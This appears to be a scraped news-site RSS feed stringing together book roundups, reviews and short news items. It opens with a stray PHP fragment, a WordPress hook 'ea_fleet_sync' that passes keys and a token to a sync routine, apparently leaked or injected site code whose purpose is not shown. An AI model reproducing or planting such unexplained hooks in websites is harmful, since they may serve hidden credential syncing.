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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Reads – Brief News https://briefnews.eu Latest World News. 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Earlier this week, Mazikeen star Lesley-Ann Brandt took to her own social media pages to share with fans her final-ever costume fitting.

“Just completed my final ever wardrobe fitting for Mazikeen on Lucifer….ever,

“To say it was emotional was an understatement,” Brandt penned to her 351,5k followers.

“These two women have been so instrumental in helping me bring her wardrobe to life. Agata and Sabrina. Thank you.”

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]]> https://briefnews.eu/lucifer-season-6-tom-ellis-left-in-tears-during-final-table-reads-something-in-my-eye/feed/ 0 Tales of Loss: Six Great Mexican Reads by Women https://briefnews.eu/tales-of-loss-six-great-mexican-reads-by-women/ https://briefnews.eu/tales-of-loss-six-great-mexican-reads-by-women/#respond Sat, 13 Oct 2018 19:53:47 +0000 http://briefnews.eu/tales-of-loss-six-great-mexican-reads-by-women/

Innovation seems impossible when it comes to writing on universal themes like love, family or even loss. And yet, in a world with what translator Sophie Hughes describes as a “stubborn and inexplicable preference for male literary writer superstars,” Mexican women are leaving their own stamps on the literary canon of the latter.

Loss tears through the narrative in some of the below texts, dragging everyone along with it, including (and especially) the reader; in others, it is an uninvited antagonist and a necessary drive. However, in all six of the titles — each one brought masterfully into English with the help of a translator who is taking “nine times out of ten, a pro bono punt on producing a sample to pitch to publishers,” Hughes says — the universal experience of loss and losing becomes a fresh revelation.

Whether they deal with the loss of a homeland, a child or a sense of autonomy, these titles with their nonlinear storytelling, effortlessly incorporated visuals and poetic prose (or even just straight-up poetry) are the new narratives on loss that you need to be reading.

UMAMI BY LAIA JUFRESA

A drawing on the opening pages of the evocatively titled and critically lauded Umami overlays a tongue with a tower block floor plan, adding to the “whimsy” that many have noted the book evokes. In Jufresa’s fiction debut — Hughes considers her a true storyteller — a quiet mystery plays out backward, enveloping just one block of the vast and unruly Mexico City in almost solipsistic grief. A child launches the narrative, while the death of another drives it, at least in part, and although Umami has the potential to be harrowing, it’s instead an understated joy. (Translated by Sophie Hughes)

Dominated by loss, love and exile, this is a novel that can be as frustrating as it is rewarding to unravel, decipher and digest.

ANTÍGONA GONZÁLEZ BY SARA URIBE

Antígona González is political commentary prose about death and a lack of answers that often reads like poetry; it’s a compound text made of translation upon translation, meshed together from seemingly endless sources and voices. That may sound like a recipe for incoherence, and yet the only thing that will leave your head swimming after reading Uribe’s text about disappearances in Mexico — a riff on the classic Sophocles tragedy — is the brutality of loss and tangible pain it communicates. In Tamaulipas, Mexico, everyone is Antígona. (Translated by John Pluecker)

THE GRINGO CHAMPION BY AURA XILONEN

“She’s something else,” Hughes says of Xilonen, who wrote her debut The Gringo Champion (a work that’s ostensibly about a loss of identity and a pervasive feeling of “placelessness”) as a teen. Readers may find themselves at a loss too, because diving into the violent opening pages — which, like the 300 or so that follow, are adeptly and energetically translated — isn’t unlike that first difficult dalliance with the language of A Clockwork Orange. At one point, our protagonist Liborio claims novels are “wormy, airless, disemvoweled” [sic]. Rest assured, The Gringo Champion is the very opposite. (Translated by Andrea Rosenberg)

FOREIGN BODY BY JAZMINA BARRERA VELÁZQUEZ

The quiet, painful and sometimes sudden loss of bodily autonomy seeps through the pages of Barrera’s debut, the award-winning essay collection Foreign Body. A witty, magnificent and almost microscopic look at pain through the lens of her own “foreign body,” Barrera is an essayist who “writes in the vein of Guadalupe Nettel,” according to Hughes. More recently, Barrera’s still-untranslated 2017 essay collection, Cuaderno de Faros — hooked around the real and fictional “lighthouse” — proved she was no one-hit wonder, yet she remains almost criminally overlooked outside her native Mexico. (Translated by Dave Oliphant)

EMPTY SET BY VERÓNICA GERBER BICECCI

An experimental storyteller if ever there was one — her blurb-side bio describes her as “a visual artist who writes” — Bicecci weaves her prose in and around scribbled drawings, mathematical equations and an abundance of Venn diagrams in Empty Set. Dominated by loss, love and exile, this is a novel that can be as frustrating as it is rewarding to unravel, decipher and digest. (Translated by Christina MacSweeney)

HURRICANE SEASON BY FERNANDA MELCHOR

Hurricane Season, like much Latin American literature before it, evokes myth, magic and violence, all set against the vaguely grim backdrop of a small village where redemption seems like a fleeting (im)possibility. Hinging on a crime, the plot traces the suspects as we’re initiated into their lives one chapter at a time. It’s no wonder Hughes recently received a PEN Translation Prize for her work on this story about loss of innocence, life and reason. (Translated by Sophie Hughes; due out in 2019).

MORE MEXICAN WRITERS TO CHECK OUT:

  • Luisa Reyes Retana
  • Brenda Lozano
  • Bibiana Camacho
  • Vivian Abenshushan (You can read her work in Spanish for free here.)
  • Maritza M. Buendía
  • Susana Iglesias
  • Artemisa Téllez
  • Xitlalitl Rodríguez Mendoza
  • Minerva Reynosa

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Summer may not be a robust time for new TV, but now is as good a time as any to dive into a fast-paced thriller, a book about LGBTQ life and culture, or even an audiobook narrated by a famously engaging celebrity if you’d rather listen than read.  

If you’re looking for a new page-turner to keep you occupied before bed or on your commute to work this July, you should check out Amazon’s Best Books of the Month, a section of the site wholly dedicated to recent releases in literature and fiction, nonfiction, history, and more. You’ll find a spotlight pick (this month’s is “My Year of Rest and Relaxation Hardcover” by Ottessa Moshfegh) along with nine other books that Amazon’s book editors loved this month.

For anyone looking for a good book to read at the beach or the subway, this list is an excellent place to start your search.

Captions have been provided by Erin Kodicek, editor of books and Kindle at Amazon.com.

“My Year of Rest and Relaxation Hardcover” by Ottessa Moshfegh

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It is no small feat to write a novel about spending much of a year in a drug-induced stupor that is not at all dull or self-indulgent, and Ottessa Moshfegh has done it. Can a really good nap cure an existential crisis?

Buy it here >>

“The Ruin” by Dervla McTiernan

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A body is discovered in the murky waters of the Corrib river, and though it’s ruled a suicide, the sister of the deceased disagrees. But the truth will be difficult to uncover in a town where corruption is king.

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“Indianapolis” by Lynn Vincent and Sara Vladic

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After transporting the core of the atomic bomb that would hit Hiroshima, the USS Indianapolis was sunk by two Japanese torpedoes. Only a fraction of the crew survived. This is the untold story of that disaster, and the subsequent efforts to exonerate the ship’s captain.  

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THE MOTHER’S SECRET by Clare Swatman Pan, £7.99

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KATE and Georgie are close sisters. They were brought up by their single mother Jan but while Kate was allowed lots of freedom as a child, Georgie was always encouraged to stay close to home.

Georgie has decided that it is time to see more of the world and she wants to travel abroad with her partner and their daughter. But she will need her birth certificate which her mother has always kept hidden away.

Jan’s health is failing and she has early-onset dementia so her behaviour is often unpredictable. Georgie and Kate know from past experience that they must tread carefully when asking questions about their past.

But when Georgie starts searching for her birth certificate she sets in motion a train of events that reveal some of the darkest secrets that a family can hide.

The Mother’s Secret is a tightly woven story that interweaves the modern-day story with events in the 1970s which reveal the reason for Jan’s protective behaviour towards her younger daughter.

From a chilling prologue through to an emotional and unexpected reveal this is a story that explores how one spur-of-the-moment decision can affect families, relationships and futures.

Clare Swatman is a talented author whose writing makes the reader ask some difficult questions about what they would do in Georgie’s impossible situation: whether doing the right thing would triumph over family loyalty.

THE IMAGE OF YOU by Adele Parks Headline Review, £7.99

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Anna and Zoe are identical twins but their personalities are as different as chalk and cheese. However, they still have that impenetrable bond which twins share.

When Anna meets Nick through a dating app, she falls hopelessly in love. Anna is trusting, she believes in true love and she is convinced that handsome, rich, successful Nick is her ideal man. But when Zoe and Nick finally meet, the story takes a dark and uneasy turn.

Zoe does not trust Nick. She’s cynical and hard and has met men like him before. She is determined to make sure her twin does not get hurt. Zoe’s manipulative behaviour and Nick’s weakness slowly but surely take their toll and the reader is left wondering who is telling the truth.

Adele Parks has written a clever and thoughtful novel full of shocks and twists. It starts out as a domestic drama and evolves into an intense and disturbing tale of mental illness, bereavement and dishonesty.

This is a compelling and gripping story of secrets and lies, exploring romantic relationships, family dynamics and the effects of grief.

SURPRISE ME by Sophie Kinsella Bantam Press, £18.99

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Sylvie and Dan have been together for 10 years. They are extremely happy, they have beautiful twin girls, good jobs and are so close that they finish each other’s sentences.

When they are told during a routine medical that they probably have another 68 years together, they are delighted. But then they panic. How on earth can they remain interested in each other for that long? So they devise Project Surprise. They agree to think up special surprises for one another to ensure that their relationship doesn’t go stale.

Some of their surprises don’t quite go to plan, sometimes with hilarious results, sometimes disastrous.

But Sylvie learns things about Dan that she would rather not know and it makes her suspicious of his behaviour as she fears that he is hiding a secret from her.

And when she overhears Dan speaking to her mother about large sums of money, her imagination runs wild. Eventually, a long-hidden scandal in Sylvie’s family is exposed, calling into question her relationships with the people who mean most to her.

Sophie Kinsella writes with a warm wit and this clever, funny and emotional novel will make you laugh and cry.

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Historians can use scanning to peek inside mummies without risking damage, but that hasn’t been true for the papyrus boxes those mummies were placed in before entering the tomb. If you’ve wanted to read the discarded everyday writing on that papyrus, you’ve typically had to destroy the boxes. That won’t be necessary from now on, though: researchers at University College London have developed a scanning technique that lets you read a mummy case’s writing while leaving it intact.

If you scan the cases with light at different frequencies, you can make the ink glow and thus see under the paste and plaster that would normally obscure the text. A lot of the writing is unspectacular (the BBC describes them as shopping lists and tax returns), but that’s the point — it’s about discovering Egyptian history beyond royalty and other famous people.

The technique has already found success with one mummy stored in Kent. It’s not certain that it’ll find widespread adoption, but it’s hard to see historians turning this down. Much as with techniques used to read closed books, this lets researchers have the best of both worlds: they can read ‘secret’ text without having to sacrifice priceless relics.

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]]> https://briefnews.eu/scanning-technique-reads-hidden-writing-in-mummy-boxes/feed/ 0 Swoon Over This Bookshelf That Lets You Climb For Your Favorite Reads https://briefnews.eu/swoon-over-this-bookshelf-that-lets-you-climb-for-your-favorite-reads/ https://briefnews.eu/swoon-over-this-bookshelf-that-lets-you-climb-for-your-favorite-reads/#respond Fri, 08 Dec 2017 20:10:43 +0000 http://briefnews.eu/swoon-over-this-bookshelf-that-lets-you-climb-for-your-favorite-reads/ Shinsuke Fujii Architects is the firm behind the “bookshelf house” in Shinyoshida, Yokohama, Japan. We first learned about this beauty on Lost at E Minor. The sloped wall spans both levels of the home (tall ceilings, you are the best) and acts as a climbable bookshelf—easy access for the most discerning bibliophile. The minimal design is practical, playful, and pretty genius. It’s also earthquake-proof and protects the home from heavy rainfall, sheltering its entrance. With a wall of books like this, we’d never leave the house. BRB, moving in!

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]]> https://briefnews.eu/your-2017-black-friday-booklist-eight-essential-science-reads/feed/ 0 The Best Business Reads of August https://briefnews.eu/the-best-business-reads-of-august/ https://briefnews.eu/the-best-business-reads-of-august/#respond Sat, 02 Sep 2017 12:37:48 +0000 http://briefnews.eu/the-best-business-reads-of-august/ Each month, the editors of The Atlantic’s Business Channel share the most interesting pieces of journalism about money and economics from around the web.

This month’s picks include a commentary on segregation in Los Angeles, the tech investor Ellen Pao writing on sexism in Silicon Valley, a look at how NBA stars are investing their money, and an analysis of how Elon Musk’s proposed Hyperloop might alter commutes.

If you’ve missed previous roundups, you can find recent ones here and here.

“Is Anybody Home at HUD?”

Alec MacGillis | New York Magazine

HUD faced an existential crisis. The new president’s then–chief strategist, Steve Bannon, had called in February for the “deconstruction of the administrative state.” It was not hard to guess that, for a White House that swept to power on a wave of racially tinged rural resentment and anti-welfare sentiment, high on the demolition list might be a department with “urban” in its name. The administration’s preliminary budget outline had already signaled deep cuts for HUD. And Donald Trump had chosen to lead the department someone with zero experience in government or social policy — the nominee whose unsuitability most mirrored Trump’s lack of preparation to run the country.

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“Why Los Angeles Is Still a Segregated City After All These Years”

Richard Rothstein | The Los Angeles Times

We tolerate residential segregation because we’re convinced that it happened informally—because of personal choices and private discrimination. But what cemented our separate neighborhoods is something most of us have forgotten—government’s unconstitutional and systematic insistence on segregated housing in the mid-20th century, establishing patterns that persist to this day.

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“‘Hotter,’ ‘Lesbian,’ ‘Feminazi’: How Some Economists Discuss Their Female Colleagues”

Elizabeth Winkler | The Washington Post

[Alice] Wu, who will begin doctoral studies at Harvard University next year, mined over a million posts on the anonymous online message board, Economics Job Market Rumors, to analyze how economists talk about women in the profession. The website, a popular forum for graduate students and faculty members to gossip about jobs and hiring, offers a window into conversations that are otherwise almost impossible to document. And as Wu explains in her paper, “Anonymity presumably eliminates any social pressure participants may feel to edit their speech, and thus creates a natural setting to capture what people believe but would not openly say.”

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The 30 words most uniquely associated with women are (in order): hotter, lesbian, bb (Internet terminology for “baby”), sexism, [a vulgar term for breasts], anal, marrying, feminazi, slut, hot, vagina, [another vulgar term for breasts], pregnant, pregnancy, cute, marry, levy, gorgeous, horny, crush, beautiful, secretary, dump, shopping, date, nonprofit, intentions, sexy, dated and prostitute.

The terms most associated with men are rather different. They include: mathematician, pricing, adviser, textbook, motivated, Wharton, goals, Nobel and philosopher. Indeed, the only derogatory term in the list is a slur used against gay men.

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“This Is How Sexism Works in Silicon Valley”

Ellen Pao | New York

Before suing, I’d consulted other women who had sued big, powerful companies over harassment and discrimination, and they all gave me pretty much the same advice: “Don’t do it.” One woman told me, “It’s a complete mismatch of resources. They don’t fight fair. Even if you win, it will destroy your reputation.”

Renée Fassbender Amochaev, an investment adviser, told me she’d been miserable from the moment she filed her lawsuit. She became an outcast and a target. Her co-workers started a petition to have her leave. Every morning, she would get to the parking lot and throw up.

“You have to prepare for it to be harder than you can even imagine,” she said. “Do you regret it?” I asked. There was a pause. “No,” she said.

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“Why Even the Hyperloop Probably Wouldn’t Change Your Commute Time”

Emily Badger | The New York Times

The curious stability of the half-hour average commute means that when bullet trains — or autonomous vehicles, or whatever innovation comes next — link two places by that much time, they won’t just open up plausible new weekend getaways and airline alternatives. They will also potentially restructure daily life: where people live, what jobs they hold, how cities expand over time.

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“The New Off-Court Play for NBA Stars Is Startup Equity”

Ira Boudway | Bloomberg Businessweek

“Ten or 15 years ago, what did all athletes invest in? Car dealerships, franchising, and real estate,” [Andre Iguodala] says. “They couldn’t get outside that scope.”

Since joining the Warriors in 2013, Iguodala, 33, has quickly become part of the vanguard of NBA players and other athletes making financial forays into Silicon Valley. He and his business partner, Rudy Cline-Thomas, own stakes ranging from $ 25,000 to $ 150,000 in about 25 startups, including the health and beauty brand Walker & Co.; mattress online retailer Casper; personal-finance app NerdWallet; Derek Jeter’s digital publishing company, the Players’ Tribune; and Mayvenn, the hair extensions supplier they met at Andreessen.

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“Google Is Big. Is That Bad?”

Jacob Goldstein and Noel King | Planet Money

Earlier this summer, a European official walked into a roomful of reporters and answered a question that some people have been asking for a long time now: Is Google abusing its power over the Internet?

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“D.I.Y. Artificial Intelligence Comes to a Japanese Family Farm”

Amos Zeeberg | The New Yorker

The Koikes have been growing cucumbers in Kosai, a town wedged between the Pacific Ocean and the brackish Lake Hamana, for nearly fifty years. Their crop, which fills three small greenhouses, grows year-round. Koike’s father, Harumi, plants the seeds; Koike oversees their cultivation; and his mother, Masako, sorts the harvest. This last job is particularly important in Japan, which is famously discerning about its produce. Nice strawberries can fetch several dollars apiece in some markets, and a sublime cubic watermelon can go for hundreds. Vegetables hold a less privileged place than fruits, but supermarkets rarely stock produce that is at all irregular in shape or size. The Koikes send their better cucumbers, the ones that are straight and uniform in thickness, to wholesalers. The not-so-perfect ones go to local stands, where they are sold at half price. (“They taste the same,” Koike said.) Masako judges the vegetables one by one, separating them into bins. Though she devotes only half a second to each cucumber, the task takes up most of her work time; on some days, she goes through around four thousand of them.

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]]> https://briefnews.eu/the-best-business-reads-of-august/feed/ 0 MSNBC test card reads ‘Trash man’ right after Trump’s Afghanistan speech https://briefnews.eu/msnbc-test-card-reads-trash-man-right-after-trumps-afghanistan-speech/ https://briefnews.eu/msnbc-test-card-reads-trash-man-right-after-trumps-afghanistan-speech/#respond Tue, 22 Aug 2017 15:55:13 +0000 http://briefnews.eu/msnbc-test-card-reads-trash-man-right-after-trumps-afghanistan-speech/

MSNBC coverage of Donald Trump’s speech on the future of US involvement in Afghanistan has people online asking questions about the channel’s test card that appeared on screen with the words “Trash man.”

Host Rachel Maddow was discussing Trump’s remarks when the feed was cut, however, there was a slight delay in returning to full screen of the studio coverage which is when the conspicuous title was displayed on-air.

A test card is a signal broadcast when a transmitter is active but no program actually appears on the feed. Many were clearly amused at the apparent “technical difficulties.”

As could be expected, however, Trump proponents were quick to call MSNBC out for the perceived slight against the POTUS.

Maddow took to Twitter to explain that the whole incident was a simple misunderstanding.

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